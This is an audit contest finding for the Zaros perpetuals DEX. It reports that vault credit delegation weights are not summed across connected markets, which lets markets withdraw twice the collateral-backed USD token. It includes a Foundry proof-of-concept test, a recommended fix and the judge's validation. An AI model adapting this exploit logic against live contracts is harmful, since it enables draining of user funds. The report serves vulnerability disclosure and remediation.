Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: medium
Valid

Market's total delegated credit usd is inflated on 2x2 connection scenario

Summary

Incorrect vault's weight update can cause market's total delegated credit usd is more than what's backed by connected vaults' collateral assets, leading overwithdrawal of usd token from market.

Vulnerability Details

Root Cause Analysis

The culprit is on Vault.updateVaultAndCreditDelegationWeight where it sets vault.totalCreditDelegationWeight incorrectly:

uint128 newWeight = uint128(IERC4626(self.indexToken).totalAssets());
for (uint256 i; i < connectedMarketsIdsCache.length; i++) {
// load the credit delegation to the given market id
CreditDelegation.Data storage creditDelegation =
CreditDelegation.load(self.id, connectedMarkets.at(i).toUint128());
// update the credit delegation weight
creditDelegation.weight = newWeight;
}
// update the vault weight
self.totalCreditDelegationWeight = newWeight;

According to the current implementation, vault's totalCreditDelegationWeightis same to each creditDelegation's weight. This means that vault will delegate full credit to all connected markets.

Thus, in 2x2 connection scenario, the sum of total delegated credit usd will be two times of vault's credit capacity.

For example:

  • Vault A and Vault B has 1000 USD worth of credit capacity respectively

  • Vault A is connected to Market A and Market B; Vault B is connected to Market A and Market B as well.

  • Market A's total credit delegation is sum of Vault A's credit capacity and Vault B's credit capacity, as each vault will fully delegate credit to all connected markets

  • Same situation happens to Market B

  • So sum of Market A and Market B's total delegated credit will be 4000 USD, just as two times of what's backed by vaults' collaterals

This inconsistency will lead to incorrect important calculations and also to overwithdrwal of usd token, more than vaults collateral backed amount.

POC

The following PoC demonstrates the above scenario. Sum of total delegated credit of two markets is 4000 USD, where sum of two vaults collateral asset value is only 2000 USD.

import { IMarketMakingEngine } from "@zaros/market-making/MarketMakingEngine.sol";
import { ZlpVault } from "@zaros/zlp/ZlpVault.sol";
import { Vault } from "@zaros/market-making/leaves/Vault.sol";
import { Market } from "@zaros/market-making/leaves/Market.sol";
import { CreditDelegation } from "@zaros/market-making/leaves/CreditDelegation.sol";
import { Distribution } from "@zaros/market-making/leaves/Distribution.sol";
import { MarketMakingEngineConfiguration } from "@zaros/market-making/leaves/MarketMakingEngineConfiguration.sol";
import { LiveMarkets } from "@zaros/market-making/leaves/LiveMarkets.sol";
import { Collateral } from "@zaros/market-making/leaves/Collateral.sol";
import { DexSwapStrategy } from "@zaros/market-making/leaves/DexSwapStrategy.sol";
import { UniswapV3Adapter } from "@zaros/utils/dex-adapters/UniswapV3Adapter.sol";
import { UD60x18, ud60x18 } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18 } from "@prb-math/SD59x18.sol";
import { Constants } from "@zaros/utils/Constants.sol";
import { SafeCast } from "@openzeppelin/utils/math/SafeCast.sol";
import { EnumerableMap } from "@openzeppelin/utils/structs/EnumerableMap.sol";
import { EnumerableSet } from "@openzeppelin/utils/structs/EnumerableSet.sol";
import { IERC4626 } from "@openzeppelin/token/ERC20/extensions/ERC4626.sol";
import { IERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { MockUniswapV3SwapStrategyRouter } from "test/mocks/MockUniswapV3SwapStrategyRouter.sol";
import { ERC20Mock } from "@openzeppelin/mocks/token/ERC20Mock.sol";
import "forge-std/Test.sol";
uint256 constant DEFAULT_DECIMAL = 18;
contract MockAsset is ERC20Mock { }
contract MockUSDT is ERC20Mock { }
contract MockUSDC is ERC20Mock { }
contract MockWeth is ERC20Mock { }
contract MockZlpVault is ZlpVault {
bytes32 private constant ZLP_VAULT_STORAGE_LOCATION =
keccak256(abi.encode(uint256(keccak256("openzeppelin.storage.ZlpVault")) - 1)) & ~bytes32(uint256(0xff));
bytes32 private constant ERC4626StorageLocation =
0x0773e532dfede91f04b12a73d3d2acd361424f41f76b4fb79f090161e36b4e00;
function _getZlpVaultStorageOverride() private pure returns (ZlpVaultStorage storage zlpVaultStorage) {
bytes32 slot = ZLP_VAULT_STORAGE_LOCATION;
assembly {
zlpVaultStorage.slot := slot
}
}
function _getERC4626StorageOverride() private pure returns (ERC4626Storage storage $) {
assembly {
$.slot := ERC4626StorageLocation
}
}
constructor(uint128 vaultId, address asset_) {
ZlpVaultStorage storage zlpVaultStorage = _getZlpVaultStorageOverride();
zlpVaultStorage.marketMakingEngine = msg.sender;
zlpVaultStorage.vaultId = vaultId;
ERC4626Storage storage $ = _getERC4626StorageOverride();
$._asset = IERC20(asset_);
$._underlyingDecimals = uint8(DEFAULT_DECIMAL);
}
}
contract MockPriceAdapter {
function getPrice() external pure returns (uint256) {
return 10 ** DEFAULT_DECIMAL;
}
}
contract MockEngine {
function getUnrealizedDebt(uint128) external pure returns (int256) {
return 0;
}
}
contract WithdrawUsdTokenTest is Test, IMarketMakingEngine {
using Vault for Vault.Data;
using Market for Market.Data;
using CreditDelegation for CreditDelegation.Data;
using Collateral for Collateral.Data;
using SafeCast for uint256;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.AddressToUintMap;
using LiveMarkets for LiveMarkets.Data;
using MarketMakingEngineConfiguration for MarketMakingEngineConfiguration.Data;
using Distribution for Distribution.Data;
using DexSwapStrategy for DexSwapStrategy.Data;
uint128 dexSwapStrategyId = 1;
MockAsset asset;
MockEngine mockEngine;
MockUSDT mockUsdt;
MockUSDC mockUsdc;
MockWeth mockWeth;
UniswapV3Adapter dexAdapter;
MockPriceAdapter priceAdapter;
uint256 userAssetAmount = 1000 * (10 ** DEFAULT_DECIMAL);
uint256 totalAssetAmount;
uint256 creditRatio = 10 ** DEFAULT_DECIMAL;
uint256[] marketIds = new uint256[](2);
uint256[] vaultIds = new uint256[](2);
address user = makeAddr("alice");
function setUp() external {
asset = new MockAsset();
priceAdapter = new MockPriceAdapter();
mockEngine = new MockEngine();
mockUsdt = new MockUSDT();
mockUsdc = new MockUSDC();
mockWeth = new MockWeth();
MarketMakingEngineConfiguration.Data storage configuration = MarketMakingEngineConfiguration.load();
configuration.weth = address(mockWeth);
configuration.usdc = address(mockUsdc);
configuration.isRegisteredEngine[address(mockEngine)] = true;
configuration.usdTokenOfEngine[address(mockEngine)] = address(mockUsdt);
configuration.isSystemKeeperEnabled[address(this)] = true;
marketIds[0] = 1;
marketIds[1] = 2;
vaultIds[0] = 1;
vaultIds[1] = 2;
LiveMarkets.Data storage liveMarkets = LiveMarkets.load();
_setUpCollaterals();
for (uint256 i; i < marketIds.length; i++) {
uint128 marketId = uint128(marketIds[i]);
Market.Data storage market = Market.load(marketId);
market.id = marketId;
market.engine = address(mockEngine);
// set autoDeleverageEndThreshold = 1 to prevent division by zero
market.autoDeleverageEndThreshold = uint128(10 ** DEFAULT_DECIMAL);
liveMarkets.addMarket(marketId);
}
for (uint256 i; i < vaultIds.length; i++) {
uint128 vaultId = uint128(vaultIds[i]);
MockZlpVault indexToken = new MockZlpVault(vaultId, address(asset));
Vault.Data storage vault = Vault.load(vaultId);
vault.id = vaultId;
vault.isLive = true;
vault.indexToken = address(indexToken);
vault.depositCap = type(uint128).max;
vault.collateral.decimals = uint8(DEFAULT_DECIMAL);
vault.collateral.priceAdapter = address(priceAdapter);
vault.collateral.creditRatio = creditRatio;
vault.collateral.asset = address(asset);
vault.collateral.isEnabled = true;
// deposit to vault 1000 USD worth of collateral
vm.startPrank(user);
asset.mint(user, userAssetAmount);
asset.approve(address(this), userAssetAmount);
IMarketMakingEngine(address(this)).deposit(vaultId, uint128(userAssetAmount), 0, "", false);
totalAssetAmount += userAssetAmount;
vm.stopPrank();
}
_connectVaultsAndMarkets();
}
function testWithdrawMoreThanBacked() external {
_recalculateVaultsCreditCapacity();
uint256 totalDelegatedCreditUsd;
for (uint256 i; i < marketIds.length; i++) {
Market.Data storage market = Market.load(uint128(marketIds[i]));
totalDelegatedCreditUsd += uint256(market.totalDelegatedCreditUsd);
}
// markets' total delegated credit usd is two times of total assets backed by vaults
assertEq(totalDelegatedCreditUsd, 2 * totalAssetAmount);
vm.startPrank(address(mockEngine));
for (uint256 i; i < marketIds.length; i++) {
Market.Data storage market = Market.load(uint128(marketIds[i]));
SD59x18 marketTotalDebtUsdX18 = market.getTotalDebt();
UD60x18 delegatedCreditUsdX18 = market.getTotalDelegatedCreditUsd();
IMarketMakingEngine(address(this)).withdrawUsdTokenFromMarket(uint128(marketIds[i]), 2 * userAssetAmount);
}
vm.stopPrank();
// 4000 USD token is withdrawn from market, whereas only 2000 USD total asset backs
assertEq(mockUsdt.balanceOf(address(mockEngine)), 2 * totalAssetAmount);
}
function _recalculateVaultsCreditCapacity() internal {
for (uint256 i; i < marketIds.length; i++) {
IMarketMakingEngine(address(this)).updateMarketCreditDelegations(uint128(marketIds[i]));
}
}
function _connectVaultsAndMarkets() internal {
uint256[] memory _marketIds = marketIds;
uint256[] memory _vaultIds = vaultIds;
vm.startPrank(address(0));
IMarketMakingEngine(address(this)).connectVaultsAndMarkets(marketIds, _vaultIds);
vm.stopPrank();
}
function _setUpCollaterals() internal {
address[] memory collaterals = new address[](4);
collaterals[0] = address(asset);
collaterals[1] = address(mockUsdt);
collaterals[2] = address(mockUsdc);
collaterals[3] = address(mockWeth);
for (uint256 i; i < collaterals.length; i++) {
address collateralAddr = collaterals[i];
Collateral.Data storage collateral = Collateral.load(address(collateralAddr));
collateral.isEnabled = true;
collateral.priceAdapter = address(priceAdapter);
collateral.creditRatio = creditRatio;
collateral.decimals = uint8(DEFAULT_DECIMAL);
}
}
}

Impact

  • Incorrect calculation everywhere including index token swap rate, vault asset swap rate etc, which will lead to user fund loss and protcol's reputation damage

  • usd token can be minted more than backed amount

Tools Used

Manual Review, Foundry

Recommendations

Consider applying the following change when updating vault and credit deposits' weights:

- self.totalCreditDelegationWeight = newWeight;
+ self.totalCreditDelegationWeight += newWeight;
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Market Credit Delegation Weights Are Incorrectly Distributed

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.